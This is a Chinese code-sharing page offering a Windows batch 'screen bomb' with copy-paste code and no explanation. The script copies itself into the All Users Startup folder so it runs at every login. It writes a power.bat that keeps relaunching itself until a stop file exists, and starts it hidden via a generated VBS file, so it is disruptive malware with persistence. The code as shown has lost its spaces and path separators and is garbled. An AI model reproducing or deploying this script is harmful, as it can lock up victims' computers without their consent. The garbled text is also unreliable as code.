批处理实现屏幕炸弹
发布时间:2016-12-28 来源:查字典编辑
摘要:复制代码代码如下:@echooffifnotexist"%HOMEPATH%..AllUsers「开始」菜单程序启动power.bat"co...
复制代码 代码如下:
@echooff
ifnotexist"%HOMEPATH%..AllUsers「开始」菜单程序启动power.bat"copy%~fs0"%HOMEPATH%..AllUsers「开始」菜单程序启动power.bat">nul
echo@echooff>%windir%power.bat
echoif"%%1"==""goto:end>>%windir%power.bat
echoifexistC:_stopgoto:EOF>>%windir%power.bat
echostart/B%%~fs0exp>>%windir%power.bat
echo:s>>%windir%power.bat
echoifnotexistC:_stopgotos>>%windir%power.bat
echoexit>>%windir%power.bat
echo:end>>%windir%power.bat
echodel%%~fs0>>%windir%power.bat
echosetws=CreateObject("WScript.Shell")>%windir%power.vbs
echows.Run"%windir%power.batexp",0>>%windir%power.vbs
WScript%windir%power.vbs
del%windir%power.vbs
setp=%~ps0
ifnot%p:~-3,2%==启动del%~fs0